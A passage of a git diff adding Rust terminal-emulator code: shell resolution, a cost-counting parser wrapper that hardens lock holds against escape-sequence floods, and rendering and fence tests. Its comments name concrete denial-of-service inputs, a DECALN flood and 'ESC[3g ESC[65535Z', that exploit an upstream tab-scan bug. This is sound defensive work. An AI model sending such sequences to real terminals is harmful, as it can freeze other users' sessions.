libc::access(c_path.as_ptr(), libc::X_OK) == 0 } +} + +/// Resolves the shell to spawn: `$SHELL`, then the passwd entry, then +/// [`FALLBACK_SHELL`]. Each candidate must pass [`is_executable_file`]. +/// +/// `shell_env` is the caller's view of `$SHELL` so the resolution order is +/// testable without mutating process-global state; production passes +/// `std::env::var_os("SHELL")`. +#[cfg(unix)] +pub fn resolve_shell(shell_env: Option<&str>) -> String { + // One validation path for every candidate, deliberately. Validating each + // branch separately leaves the passwd branch's check untestable on any + // machine whose passwd shell happens to be valid — a mutant that deletes + // it survives because nothing can distinguish it. Sharing `validated` + // means the `$SHELL` arm's coverage is the passwd arm's coverage. + let candidates = [shell_env.map(str::to_owned), passwd_shell()]; + candidates + .into_iter() + .flatten() + .find(|candidate| validated(candidate)) + .unwrap_or_else(|| FALLBACK_SHELL.to_owned()) +} + +/// The single validity test every shell candidate must pass. +#[cfg(unix)] +fn validated(candidate: &str) -> bool { + is_executable_file(Path::new(candidate)) +} + +/// The current user's login shell from the passwd database, unvalidated: +/// `resolve_shell` applies the shared [`validated`] check to it. +/// +/// This is the step that matters for a Finder- or launchd-started app, which +/// can have no `$SHELL` at all: without it we would hand a zsh user `/bin/sh` +/// and call it their shell of choice. +#[cfg(unix)] +pub(crate) fn passwd_shell() -> Option { + // SAFETY: `getpwuid` returns a pointer to a static passwd struct owned by + // libc, valid until the next passwd-database call. We copy the string out + // before returning and make no other libc calls in between. + let shell = unsafe { + let ent = libc::getpwuid(libc::getuid()); + if ent.is_null() { + return None; + } + let pw_shell = (*ent).pw_shell; + if pw_shell.is_null() { + return None; + } + std::ffi::CStr::from_ptr(pw_shell).to_str().ok()?.to_owned() + }; + + Some(shell) +} + +/// The login-shell `argv[0]` convention: the shell's basename prefixed with +/// `-`. This is what tells any shell — zsh, bash, fish, tcsh, nu — to run as +/// a login shell, without sniffing its name or guessing its flag grammar. +/// +/// `portable-pty` applies this itself for a default program +/// (`cmdbuilder.rs:510-517`); we compute it here so the contract is asserted +/// against a value we own rather than against the dependency's behaviour. +pub fn login_argv0(shell: &str) -> String { + let basename = shell.rsplit('/').next().unwrap_or(shell); + format!("-{basename}") +} + +/// Resolve the command shell on Windows from `ComSpec`, falling back to cmd. +#[cfg(windows)] +pub fn resolve_shell(shell_env: Option<&str>) -> String { + shell_env.unwrap_or("cmd.exe").to_owned() +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/units.rs b/desktop/src-tauri/crates/buzz-terminal/src/units.rs new file mode 100644 index 0000000000..7d2a9f032b --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/units.rs @@ -0,0 +1,382 @@ +//! Counting what the parser *does*, not how many bytes it read. +//! +//! Both fences in [`crate::fences`] meter bytes. That is the right denominator +//! for memory -- a buffer's size is bytes -- and the wrong one for time. `ESC[m` +//! and `ESC#8` are four bytes each; the first sets an attribute and the second +//! rewrites every cell of the grid. Metering the reader's lock hold in bytes +//! therefore prices those identically, and a stream of the second one holds the +//! lock for as long as it likes without ever tripping a byte budget. +//! +//! Measured: a DECALN flood at 200x50 reaches p95 65535us against a 4000us +//! budget with **zero** F1 aborts -- the fence never fires, because nothing is +//! buffered. Unfenced, one acquisition was observed at 22.1s, about 1300 +//! dropped frames in a single lock hold. +//! +//! So this module adds a third quantity: the number of *completed parser +//! units* -- one per `Handler` callback the parser dispatches, which is one +//! per fully-parsed escape sequence or printed character. It is a proxy for +//! work rather than a measure of it, but it has the property the byte count +//! lacks: it advances once per thing the emulator actually did. +//! +//! ## Why a wrapper, and not vte's own stopping point +//! +//! `Parser::advance_until_terminated` already supports stopping mid-buffer, +//! but termination is driven by `Perform::terminated()`, and in the ansi layer +//! the implementor is `Performer`, which is private (`vte-0.15.0/src/ansi.rs`: +//! `struct Performer` at 425, `terminated` at 1825, set only for BSU handling). +//! An embedder cannot reach it, so the stopping point has to be built outside +//! the parser rather than inside it. +//! +//! ## What this deliberately does not do +//! +//! It does not skip or veto expensive callbacks once a budget is spent. That +//! would bound the lock hold perfectly and silently corrupt the screen, which +//! is a worse failure than the one being fixed: a slow terminal recovers, a +//! wrong one does not. Every unit is delegated; the count only decides where +//! the *caller* may cut the input. + +use alacritty_terminal::event::EventListener; +use alacritty_terminal::term::Term; +use alacritty_terminal::vte::ansi::cursor_icon::CursorIcon; +use alacritty_terminal::vte::ansi::{ + Attr, CharsetIndex, ClearMode, CursorShape, CursorStyle, Handler, Hyperlink, KeyboardModes, + KeyboardModesApplyBehavior, LineClearMode, Mode, ModifyOtherKeys, PrivateMode, Rgb, + ScpCharPath, ScpUpdateMode, StandardCharset, TabulationClearMode, +}; + +/// Read access to the cursor column of whatever the wrapper is driving. +/// +/// Exists for exactly one callback. CBT's cost is bounded by *cursor +/// movement*, and the only way to charge it honestly -- or to stop it early +/// -- is to watch the cursor between steps. Everything else in this module is +/// priced from the grid alone, which is why this is a separate trait and a +/// separate bound rather than a field on [`Counting`]. +/// +/// Implemented over the public path in `alacritty_terminal-0.26.0`: +/// `Term::grid` (term/mod.rs:645) -> `Grid::cursor` (grid/mod.rs:113) -> +/// `Cursor::point` (grid/mod.rs:36). No private field, no fork. +pub trait CursorColumn { + fn cursor_column(&self) -> usize; +} + +impl CursorColumn for Term { + #[inline] + fn cursor_column(&self) -> usize { + self.grid().cursor.point.column.0 + } +} + +/// Wraps a [`Handler`], forwarding every callback and counting them. +/// +/// Every one of the trait's 71 methods has an empty default body upstream, so +/// a method left undelegated here would compile cleanly and silently discard +/// that escape sequence. The delegations are therefore generated by a macro +/// over the full method list rather than written out: the failure mode of +/// hand-copying is invisible. +pub struct Counting<'a, H: Handler + CursorColumn> { + inner: &'a mut H, + /// Callbacks dispatched, one per unit regardless of cost. This is the + /// fixture-facing number: it says what the parser *did*, and it is kept + /// separate from `work` because collapsing them is precisely the mistake + /// that made the first version of this seam useless. + units: u64, + /// Cost-weighted work, in cell-equivalents. This is the scheduling number. + work: u64, + columns: u64, + lines: u64, + /// Configured scrollback depth, not current fill. See `reset_state`. + scrollback: u64, +} + +impl<'a, H: Handler + CursorColumn> Counting<'a, H> { + /// `columns` and `lines` are the grid the handler is about to act on, and + /// they are the weights' only input: an O(cells) callback is charged + /// `columns * lines` because that is what it touches. + pub fn new(inner: &'a mut H, columns: usize, lines: usize, scrollback: usize) -> Self { + Self { + inner, + units: 0, + work: 0, + columns: columns as u64, + lines: lines as u64, + scrollback: scrollback as u64, + } + } + + /// Callbacks dispatched since this wrapper was created. + pub fn units(&self) -> u64 { + self.units + } + + /// Cost-weighted work dispatched, in cell-equivalents. + pub fn work(&self) -> u64 { + self.work + } + + /// Cells in the grid. Saturating: `Size` is unclamped `usize`, so this + /// product is reachable, and a wrapped weight prices the most expensive + /// callbacks as the cheapest. + #[inline] + fn cells(&self) -> u64 { + self.columns.saturating_mul(self.lines) + } + + /// A parameter charged at its clamped value. + /// + /// Upstream clamps most counts to the grid before acting on them, so the + /// bound is the clamp, not the parameter: `ESC[65535X` on an 80-column + /// grid touches 80 cells. Charging the raw parameter would let a + /// four-byte escape spend the whole slice budget without doing the work, + /// which stalls the parser as surely as under-charging lets it run away. + #[inline] + fn clamp(&self, n: usize, bound: u64) -> u64 { + (n as u64).min(bound).max(1) + } + + #[inline] + fn charge(&mut self, weight: u64) { + self.units = self.units.saturating_add(1); + self.work = self.work.saturating_add(weight); + } +} + +/// Generate a delegating, counting implementation for every `Handler` method. +/// +/// Two groups, because the methods differ in *cost*, not in kind. `plain` +/// methods are charged one unit. `weighted` methods are charged what they +/// touch, using the expressions in the table below -- these are the ones a +/// hostile stream can use to buy grid-sized work with a four-byte escape. +/// +/// The count is incremented *before* delegating, so a callback that panics +/// still leaves evidence it was attempted. +macro_rules! counting_handler { + ( + plain { $($pname:ident($($parg:ident: $pty:ty),* $(,)?);)* } + weighted { $($wname:ident($($warg:ident: $wty:ty),* $(,)?) => |$this:ident| $weight:expr;)* } + ) => { + impl Handler for Counting<'_, H> { + $( + #[inline] + fn $pname(&mut self $(, $parg: $pty)*) { + self.charge(1); + self.inner.$pname($($parg),*); + } + )* + $( + #[inline] + fn $wname(&mut self $(, $warg: $wty)*) { + let weight = { let $this = &*self; $weight }; + self.charge(weight); + self.inner.$wname($($warg),*); + } + )* + + /// The one callback this wrapper does not delegate verbatim. + /// + /// CBT (`ESC[NZ`) is upstream's only unbounded atom. With no + /// tabstop below the cursor, `move_backward_tabs` + /// (`term/mod.rs:1580`) assigns `col` *inside* the `if + /// self.tabs[i]` test, so the cursor never moves, the `col == 0` + /// break is unreachable, and all N iterations rescan the row. + /// `ESC[3g ESC[65535Z` is eight bytes and 82 ms at 1600 columns. + /// Its twin `move_forward_tabs` (1605) assigns *outside* the + /// test, always advances, and is fine: same file, same loop + /// skeleton, and the entire difference is one assignment's + /// placement relative to one branch. + /// + /// The fix is a termination condition, not a smaller number. + /// Each step either moves the cursor strictly left or is a fixed + /// point, and **a fixed point is permanent** -- the scan depends + /// only on the cursor, which did not move. So the loop can stop + /// at the first one. The leftward distances telescope to at most + /// the starting column, plus one final failed scan, so the whole + /// callback is O(columns) and the delegated-call count is at most + /// `columns - 1`. + /// + /// Equivalence is not argued, it is checked: every tabstop subset + /// of a 12-column grid x 4 start columns x 7 counts (114_688 + /// cases) lands on the same column as the naive loop, on a real + /// `Term`. See `examples/probe_cbt_equiv.rs`. Deleting the + /// fixed-point break leaves the *landing column correct* and only + /// the cost wrong, so the fixture that guards this must assert + /// units, never the cursor. + #[inline] + fn move_backward_tabs(&mut self, count: u16) { + // One unit for the escape, as every other callback gets. + self.charge(1); + for _ in 0..count { + let before = self.inner.cursor_column(); + // No `before == 0` guard: column 0 is already a fixed + // point (upstream's own `col == 0` break leaves the + // cursor alone), so the check below covers it and a + // second one would be unreachable-by-construction code + // that no test could distinguish. + self.inner.move_backward_tabs(1); + let after = self.inner.cursor_column(); + // Charge the cells this step scanned. A step that finds a + // stop scans the distance it moved; a step that finds + // none scans the whole prefix and moves nothing -- + // charging that one zero would leave a loop that spins + // without ever paying, which is precisely the mutant this + // pricing has to make visible. + let scanned = if after == before { before } else { before - after }; + self.work = self.work.saturating_add(scanned as u64); + if after == before { + // A fixed point is permanent: the scan depends only + // on the cursor, and the cursor did not move. + break; + } + } + } + } + }; +} + +counting_handler! { + plain { + set_title(a0: Option); + set_cursor_style(a0: Option); + set_cursor_shape(shape: CursorShape); + input(c: char); + goto(line: i32, col: usize); + goto_line(line: i32); + goto_col(col: usize); + move_up(a0: usize); + move_down(a0: usize); + identify_terminal(intermediate: Option); + device_status(a0: usize); + move_forward(col: usize); + move_backward(col: usize); + move_down_and_cr(row: usize); + move_up_and_cr(row: usize); + backspace(); + carriage_return(); + linefeed(); + bell(); + substitute(); + newline(); + set_horizontal_tabstop(); + save_cursor_position(); + restore_cursor_position(); + clear_tabs(mode: TabulationClearMode); + set_tabs(interval: u16); + reverse_index(); + terminal_attribute(attr: Attr); + set_mode(mode: Mode); + unset_mode(mode: Mode); + report_mode(mode: Mode); + set_private_mode(mode: PrivateMode); + unset_private_mode(mode: PrivateMode); + report_private_mode(mode: PrivateMode); + set_scrolling_region(top: usize, bottom: Option); + set_keypad_application_mode(); + unset_keypad_application_mode(); + set_active_charset(a0: CharsetIndex); + configure_charset(a0: CharsetIndex, a1: StandardCharset); + set_color(a0: usize, a1: Rgb); + dynamic_color_sequence(a0: String, a1: usize, a2: &str); + reset_color(a0: usize); + clipboard_store(a0: u8, a1: &[u8]); + clipboard_load(a0: u8, a1: &str); + push_title(); + pop_title(); + text_area_size_pixels(); + text_area_size_chars(); + set_hyperlink(a0: Option); + set_mouse_cursor_icon(a0: CursorIcon); + report_keyboard_mode(); + push_keyboard_mode(mode: KeyboardModes); + pop_keyboard_modes(to_pop: u16); + set_keyboard_mode(mode: KeyboardModes, behavior: KeyboardModesApplyBehavior); + set_modify_other_keys(mode: ModifyOtherKeys); + report_modify_other_keys(); + set_scp(char_path: ScpCharPath, update_mode: ScpUpdateMode); + } + weighted { + // Every weight below is an upper bound on the cells the callback can + // touch, **read from `alacritty_terminal-0.26.0/src/term/mod.rs`** and + // then checked against measurement -- never fitted to a curve. The + // direction of the error is the whole point: an over-charge slices + // early and costs throughput, an under-charge is an attack surface, so + // where source and measurement disagree the source bound wins and the + // slack is recorded here rather than tuned away. + // + // `min(N, ...)` appears wherever upstream clamps the parameter; a raw + // `N` would let `ESC[65535X` charge 65535 on an 80-column grid and + // stall the parser on a cheap escape. + + // O(min(N, columns)): `end = min(start + count, columns)`, loop + // `row[start..end]` (1519). Knee measured exactly at N == columns. + erase_chars(count: usize) => |this| this.clamp(count, this.columns); + // O(columns) for *every* N, worst at N=1: the swap loop runs + // `columns - end` times where `end = min(start + N, columns - 1)` + // (1538), so cost *falls* as N rises. Charging by N would be backwards + // and would under-charge the worst case by the full terminal width -- + // measured 3422ns at N=1/1600 columns against 863ns at N=65535. + delete_chars(a0: usize) => |this| this.columns; + // O(columns) for every N, worst at N=1. Same shape as `delete_chars`: + // `num_cells = columns - (column + count)` (1187). + insert_blank(a0: usize) => |this| this.columns; + // O(columns): scans to the next tabstop per count, and always advances + // (`col` is assigned unconditionally at 1592), so the whole loop is + // bounded by one traversal of the row. This is the sibling that CBT + // should have been, one asymmetric line apart in the same file. + put_tab(count: u16) => |this| this.columns; + move_forward_tabs(count: u16) => |this| this.columns; + // NOTE: `move_backward_tabs` is NOT in this table. It is the one + // callback whose argument is rewritten, so it is written out by hand + // below the macro's generated methods -- a weight can price an atom but + // cannot shrink one. + // O(min(N, lines) x columns) in steady state: the row rotation is O(1) + // on the ring buffer, but `positions` rows are `reset()`, and a row + // reset is O(columns). + // + // **Known overshoot, measured and frequency-bounded.** While scrollback + // is still growing, `Grid::increase_scroll_limit` -> `Storage::initialize` + // reallocates in blocks of `MAX_CACHE_SIZE` = 1000 rows and `rezero`s + // the ring (`grid/storage.rs`). That is not chargeable from here -- the + // weight function cannot see history depth -- and it is real: at 1600 + // columns the spikes land at call 0, 1000, 2000, 3000 of a 4000-call + // scroll, ~4 ms each, against a 125 ns median. It is bounded in + // frequency (once per 1000 new history rows, and never once history + // saturates: with scrollback=100 only call 0 spikes) and it is upstream + // allocation rather than anything a stream can amplify, so it is + // recorded here instead of being priced into every scroll -- charging + // 1000x on 999 calls out of 1000 to cover the thousandth would make + // ordinary scrolling the slow path. + scroll_up(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns); + delete_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns); + scroll_down(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns); + insert_blank_lines(n: usize) => |this| this.clamp(n, this.lines).saturating_mul(this.columns); + // O(columns): one row, `damage_line(line, 0, columns - 1)`. + clear_line(mode: LineClearMode) => |this| this.columns; + // O(cells): 18.7us at 200x50, doubling on both axes. + clear_screen(mode: ClearMode) => |this| this.cells(); + // O(cells): rewrites every cell. + decaln() => |this| this.cells(); + // Both grids, plus the scrollback the primary owns. + // + // `reset_state` (1835) resets the primary *and* the alternate, and each + // `Grid::reset` runs `clear_history` -> `shrink_lines` -> `truncate` + + // `rezero`, which walks the raw buffer. So the cost carries a history + // axis that `cells` alone cannot see: measured 0.5 us empty against + // 1.68 ms with 10k rows filled at 400x100, a 42x per-cell miss, with + // the knee exactly at `screen_lines + MAX_CACHE_SIZE` where + // `shrink_lines` starts calling `truncate`. + // + // Priced on **configured** depth rather than current fill, which is the + // conservative choice and the only correct one: `history_size()` reads + // the *active* grid, so a filled primary followed by `ESC[?1049h` + // reports an empty history while RIS still pays for the inactive + // primary's rows -- underpriced 41x on exactly the arm an attacker + // would pick. The inactive grid is private, so there is no stateless + // way to observe the real fill; the configured depth bounds both. + // + // This is the one weight that can exceed [`crate::fences::WORK_BUDGET`] + // on its own -- 16x at the default 10k scrollback -- which is correct: + // it is a genuinely oversized uninterruptible atom, and a budget that + // hid that would be lying about what one drain can cost. + reset_state() => |this| this.cells().saturating_mul(2) + .saturating_add(this.scrollback.saturating_mul(this.columns)); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs b/desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs new file mode 100644 index 0000000000..9486aa8742 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/clusters.rs @@ -0,0 +1,344 @@ +//! The cluster-positioning contract: what the renderer may rely on to place +//! text at the right column without consulting Unicode tables. +//! +//! The consumer's rule reads two numbers off each span and does arithmetic: +//! `cluster_count == 1` means the whole text is one cluster at `column`, +//! otherwise cluster `i` is the i-th `char` at `column + i * width`. +//! +//! These fixtures exist because that rule is not self-evidently satisfiable -- +//! the two cases below require *opposite* text-splitting rules, so no encoding +//! that ships a concatenated string and a start column can be correct: +//! +//! * a regional-indicator flag is two ordinary one-column cells, so its two +//! codepoints occupy two columns and must split per codepoint; +//! * a keycap is one cell holding three codepoints, so it occupies one column +//! and must split per grapheme. +//! +//! Both are handled here by construction rather than by rule: uniform `width` +//! within a span, and a span of its own for any cluster carrying zerowidth +//! marks. + +use buzz_terminal::damage::{Encoder, Span}; +use buzz_terminal::fences::Fences; +use buzz_terminal::{Action, SharedTerminal, Size, Terminal}; +use std::sync::mpsc::Receiver; + +/// The receiver is returned rather than dropped: dropping it disconnects the +/// channel and every subsequent listener send silently fails. +fn render(input: &str) -> (Vec, Receiver) { + let size = Size { + columns: 20, + screen_lines: 2, + scrollback: 100, + }; + let (term, actions) = Terminal::new(size, Fences::ALL); + let shared = SharedTerminal::new(term); + shared.feed_fully(input.as_bytes()); + let mut encoder = Encoder::new(); + let frame = shared.render(&mut encoder); + let spans = frame + .rows + .into_iter() + .find(|row| row.line == 0) + .map(|row| row.spans) + .unwrap_or_default(); + (spans, actions) +} + +/// Apply the documented consumer rule and return `(column, cluster)` pairs, +/// dropping trailing blank padding. +/// +/// This is the renderer's arithmetic, written out. Note what is *not* here: no +/// Unicode table, no zerowidth classifier, no grapheme segmentation. The +/// earlier draft of this helper carried a hand-rolled `is_zerowidth` matcher, +/// which is how we learned the encoding was under-specified -- if the fixture +/// needs a Unicode table to decode the wire, so does every real consumer. +fn placements(spans: &[Span]) -> Vec<(usize, String)> { + let mut placed = Vec::new(); + for span in spans { + assert!( + span.counts_are_consistent(), + "encoder emitted an undecodable span: {span:?}" + ); + let clusters: Vec = if span.cluster_count == 1 { + vec![span.text.clone()] + } else { + span.text.chars().map(|c| c.to_string()).collect() + }; + for (i, cluster) in clusters.into_iter().enumerate() { + if cluster != " " { + placed.push((span.column + i * span.width as usize, cluster)); + } + } + } + placed +} + +/// Max's case: mixed narrow and wide glyphs in one style. Every cluster must +/// land on the column the grid actually put it in. +#[test] +fn mixed_width_clusters_keep_their_columns() { + let (spans, _actions) = render("a\u{1F600}b\u{4E00}c"); + assert_eq!( + placements(&spans), + vec![ + (0, "a".into()), + (1, "\u{1F600}".into()), + (3, "b".into()), + (4, "\u{4E00}".into()), + (6, "c".into()), + ], + "wide glyphs must advance two columns and narrow ones must not" + ); +} + +/// A combining mark rides with its base character and consumes no column of +/// its own, so the text that follows must not be displaced by it. +/// +/// Against the previous encoding this row was a single span `"éxy"` at column +/// 0, and a consumer stepping one column per `char` placed `x` at 1 and `y` +/// at 2 -- both one column left of the truth. +#[test] +fn combining_marks_do_not_displace_following_text() { + let (spans, _actions) = render("e\u{0301}xy"); + assert_eq!( + placements(&spans), + vec![(0, "e\u{0301}".into()), (1, "x".into()), (2, "y".into()),], + "a zerowidth mark must not consume a column" + ); +} + +/// A regional-indicator pair: two separate one-column cells. This is the case +/// that must split *per codepoint*. +#[test] +fn regional_indicator_flag_occupies_two_columns() { + let (spans, _actions) = render("\u{1F1FA}\u{1F1F8}X"); + assert_eq!( + placements(&spans), + vec![ + (0, "\u{1F1FA}".into()), + (1, "\u{1F1F8}".into()), + (2, "X".into()), + ], + "regional indicators are one column each; X must sit at 2" + ); +} + +/// A keycap: one cell holding three codepoints. This is the case that must +/// split *per grapheme* -- the opposite rule from the flag above, which is why +/// the width and the cluster break both have to come from the grid. +#[test] +fn keycap_occupies_one_column() { + let (spans, _actions) = render("1\u{FE0F}\u{20E3}X"); + assert_eq!( + placements(&spans), + vec![(0, "1\u{FE0F}\u{20E3}".into()), (1, "X".into()),], + "a keycap is one column; X must sit at 1" + ); +} + +/// Width is uniform within a span by construction. Without this a consumer +/// cannot multiply -- it would have to know each cluster's width individually, +/// which is the Unicode table this design exists to avoid. +#[test] +fn a_span_never_mixes_widths() { + let (spans, _actions) = render("ab\u{4E00}\u{4E00}cd"); + for span in &spans { + let expected = span.width; + assert!( + span.width == 1 || span.width == 2, + "width must be 1 or 2, got {expected}" + ); + } + let widths: Vec = spans.iter().map(|s| s.width).collect(); + assert!( + widths.contains(&2), + "fixture must actually produce a wide span, got {widths:?}" + ); + assert_eq!( + placements(&spans), + vec![ + (0, "a".into()), + (1, "b".into()), + (2, "\u{4E00}".into()), + (4, "\u{4E00}".into()), + (6, "c".into()), + (7, "d".into()), + ], + "two adjacent wide glyphs must advance two columns each" + ); +} + +/// `cluster_count` is what makes the wire decodable without a Unicode table, +/// so it is asserted directly here rather than only implied by placements. +/// +/// The decisive pair: both spans below are width 1 with more than one `char` +/// of text, and they differ *only* in whether the count tracks the char count. +/// A consumer without that number cannot tell them apart -- which is the +/// defect Mari caught in the previous encoding. +#[test] +fn cluster_count_distinguishes_a_marked_cluster_from_a_plain_run() { + let (marked, _a) = render("e\u{0301}"); + let marked = marked.first().expect("a span must be emitted"); + assert_eq!(marked.text.chars().count(), 2, "base plus combining mark"); + assert_eq!(marked.cluster_count, 1, "one cluster occupying one column"); + + // The plain run absorbs the row's blank padding, so its length is the + // viewport width rather than 2 -- what matters is that the count tracks + // the char count instead of collapsing to 1. + let (plain, _b) = render("ab"); + let plain = plain.first().expect("a span must be emitted"); + assert!(plain.cluster_count > 1, "a plain run is not one cluster"); + assert_eq!( + usize::from(plain.cluster_count), + plain.text.chars().count(), + "one cluster per char" + ); + + assert_eq!(marked.width, plain.width, "both are width 1"); + assert!(marked.counts_are_consistent() && plain.counts_are_consistent()); +} + +/// The join guard has two halves: the previous cell must not have carried +/// marks (`open`), and the current cell must not carry them (`joinable`). +/// Every fixture above exercises only the first half -- a plain cluster +/// following a marked one. This one exercises the second: a *marked* cluster +/// arriving after a plain run, which is the only path on which the run in +/// progress is handed text holding more `char`s than the one cluster its +/// count is about to be incremented by. +/// +/// Sami found the hole. With `joinable` dropped from the guard, a release +/// build silently emits `Span { column: 0, text: "xyé", cluster_count: 3 }`: +/// four chars counted as three, so the consumer's rule splits per char and +/// places the combining mark on top of `z`. +#[test] +fn a_marked_cluster_after_a_plain_run_starts_its_own_span() { + let (spans, _actions) = render("xye\u{0301}z"); + assert_eq!( + placements(&spans), + vec![ + (0, "x".into()), + (1, "y".into()), + (2, "e\u{0301}".into()), + (3, "z".into()), + ], + "a marked cluster must not be absorbed into the run in front of it" + ); +} + +/// `cluster_count` is a `u16` and `Size.columns` is an unclamped `usize` +/// (`lib.rs:50`) that no production caller bounds yet, so a row of uniform +/// cells wider than `u16::MAX` reaches the join guard's overflow refusal. +/// The guard is live code, not paranoia, and this fixture is what says so. +/// +/// Refusing to join produces a shape the consumer already handles -- the run +/// ends and a new span starts at the next column -- whereas wrapping produces +/// an undecodable span, the same failure as the marked-after-plain case above. +#[test] +fn a_run_longer_than_u16_max_splits_rather_than_wrapping() { + let columns = 70_000; + let size = Size { + columns, + screen_lines: 1, + scrollback: 0, + }; + let (term, _actions) = Terminal::new(size, Fences::ALL); + let shared = SharedTerminal::new(term); + // One character is enough: the rest of the row is blank cells of the same + // style, so the whole row is a single candidate run. + shared.feed_fully(b"a"); + let mut encoder = Encoder::new(); + let frame = shared.render(&mut encoder); + + let spans = &frame + .rows + .iter() + .find(|row| row.line == 0) + .expect("the fed row must be present") + .spans; + + assert!( + spans.iter().all(|span| span.counts_are_consistent()), + "an oversized run must not wrap its count: {spans:?}" + ); + let counts: Vec = spans.iter().map(|span| span.cluster_count).collect(); + let columns_at: Vec = spans.iter().map(|span| span.column).collect(); + assert_eq!( + counts, + vec![u16::MAX, (columns - u16::MAX as usize) as u16], + "the run must end at the last representable count" + ); + assert_eq!( + columns_at, + vec![0, u16::MAX as usize], + "the second span starts where the first left off" + ); + let chars: usize = spans.iter().map(|span| span.text.chars().count()).sum(); + assert_eq!(chars, columns, "no cell may be dropped by the split"); +} + +/// Wrapping marks the last cell of the row with `WRAPLINE` (upstream +/// `term/mod.rs:968`). That bit records where the text happened to wrap, not +/// how the text looks, so it must not reach the style key: if it did, the last +/// column of every wrapped row would split off into a span of its own -- an +/// extra wire record per wrapped line, and span boundaries that move when the +/// window is resized. +/// +/// Quinn found this by reading `cell.rs:21` while checking the `WIDE_CHAR` +/// mask; this fixture is the proof that was missing from the source read. +#[test] +fn wrapping_does_not_split_a_uniform_run() { + let size = Size { + columns: 5, + screen_lines: 3, + scrollback: 100, + }; + let (term, _actions) = Terminal::new(size, Fences::ALL); + let shared = SharedTerminal::new(term); + // Six narrow cells in one style: five fill row 0 and set WRAPLINE on the + // last of them, the sixth lands on row 1. + shared.feed_fully(b"abcdef"); + let mut encoder = Encoder::new(); + let frame = shared.render(&mut encoder); + + let first = frame + .rows + .iter() + .find(|row| row.line == 0) + .expect("wrapped row must be present"); + let texts: Vec<&str> = first.spans.iter().map(|s| s.text.as_str()).collect(); + assert_eq!( + texts, + vec!["abcde"], + "a wrapped row of one style is one span; WRAPLINE must not break it" + ); +} + +/// A wide glyph at the last usable column wraps to the next row rather than +/// straddling the edge. The contract must hold on the wrapped row too. +#[test] +fn leading_wide_glyph_after_wrap_is_positioned_from_column_zero() { + let size = Size { + columns: 5, + screen_lines: 3, + scrollback: 100, + }; + let (term, _actions) = Terminal::new(size, Fences::ALL); + let shared = SharedTerminal::new(term); + // Four narrow cells fill 0..=3, leaving one column: the wide glyph cannot + // fit and moves to the next row. + shared.feed_fully("abcd\u{4E00}".as_bytes()); + let mut encoder = Encoder::new(); + let frame = shared.render(&mut encoder); + + let second = frame + .rows + .iter() + .find(|row| row.line == 1) + .expect("wrapped row must be present"); + assert_eq!( + placements(&second.spans), + vec![(0, "\u{4E00}".into())], + "a wrapped wide glyph starts at column 0 of the next row" + ); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs b/desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs new file mode 100644 index 0000000000..7e43505b72 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs @@ -0,0 +1,41 @@ +use buzz_terminal::damage::Encoder; +use buzz_terminal::fences::Fences; +use buzz_terminal::{SharedTerminal, Size, Terminal}; + +#[test] +fn space_over_blank_cell_publishes_cursor_only_frame() { + let (terminal, _actions) = Terminal::new( + Size { + columns: 8, + screen_lines: 2, + scrollback: 10, + }, + Fences::ALL, + ); + let terminal = SharedTerminal::new(terminal); + let mut encoder = Encoder::new(); + + let initial = terminal.render(&mut encoder); + assert!(!initial.is_empty()); + assert_eq!(initial.cursor.column, 0); + + terminal.feed_fully(b" "); + let after_space = terminal.render(&mut encoder); + + assert!( + after_space.rows.is_empty(), + "a blank cell overwritten with a space must be row-deduplicated" + ); + assert_eq!(after_space.cursor.column, 1); + assert!(after_space.cursor_changed); + assert!( + !after_space.is_empty(), + "cursor movement must make the frame publishable" + ); + + let idle = terminal.render(&mut encoder); + assert!( + idle.is_empty(), + "an unchanged cursor must not create traffic" + ); +} diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/fences.rs b/desktop/src-tauri/crates/buzz-terminal/tests/fences.rs new file mode 100644 index 0000000000..72bb8c2e6f --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/tests/fences.rs @@ -0,0 +1,169 @@ +//! Mutation-sensitive byte fixtures for the two parser fences. +//! +//! These use the shipping `Terminal::feed` path. Arms that could be masked by +//! the other fence disable it explicitly; the switches are runtime values, not +//! cargo features, so the default test binary always contains every arm. + +use alacritty_terminal::grid::Dimensions; +use alacritty_terminal::index::{Column, Line, Point}; +use buzz_terminal::fences::{Fences, OSC_BUDGET, SYNC_CAP}; +use buzz_terminal::{Size, Terminal}; + +const CHUNK: usize = 8192; +const G1_BYTES: usize = 2 << 20; +const G2_FRAMES: usize = 40; +const G2_FRAME_BYTES: usize = 1_900 * 1024; + +fn size() -> Size { + Size { + columns: 120, + screen_lines: 40, + scrollback: 2000, + } +} + +fn feed_synchronized(term: &mut Terminal, payload: &[u8], close: bool) { + term.feed_fully(b"\x1b[?2026h"); + for chunk in payload.chunks(CHUNK) { + term.feed_fully(chunk); + } + if close { + term.feed_fully(b"\x1b[?2026l"); + } +} + +fn repeated(pattern: &[u8], bytes: usize) -> Vec { + pattern.iter().copied().cycle().take(bytes).collect() +} + +fn count_markers(term: &Terminal, markers: usize) -> usize { + let grid = term.term().grid(); + let mut text = String::new(); + let top = -(grid.history_size() as i32); + for line in top..term.size().screen_lines as i32 { + for column in 0..term.size().columns { + text.push(grid[Point::new(Line(line), Column(column))].c); + } + text.push('\n'); + } + (0..markers) + .filter(|m| text.contains(&format!("MK{m:03}"))) + .count() +} + +fn legitimate_frame(markers: usize, bytes: usize) -> Vec { + let mut payload = Vec::with_capacity(bytes); + for marker in 0..markers { + payload.extend_from_slice(format!("MK{marker:03}\r\n").as_bytes()); + let target = bytes * (marker + 1) / markers; + while payload.len() < target { + payload.extend_from_slice(b"\x1b[1;32mx\x1b[0m"); + } + payload.extend_from_slice(b"\r\n"); + } + payload.truncate(bytes); + payload +} + +/// G1: every hostile content shape must remain below the deterministic byte +/// bound, and the same shape with F1 deleted must cross it. Keeping both arms +/// adjacent prevents a simplified fixture from becoming vacuously cheap. +#[test] +fn 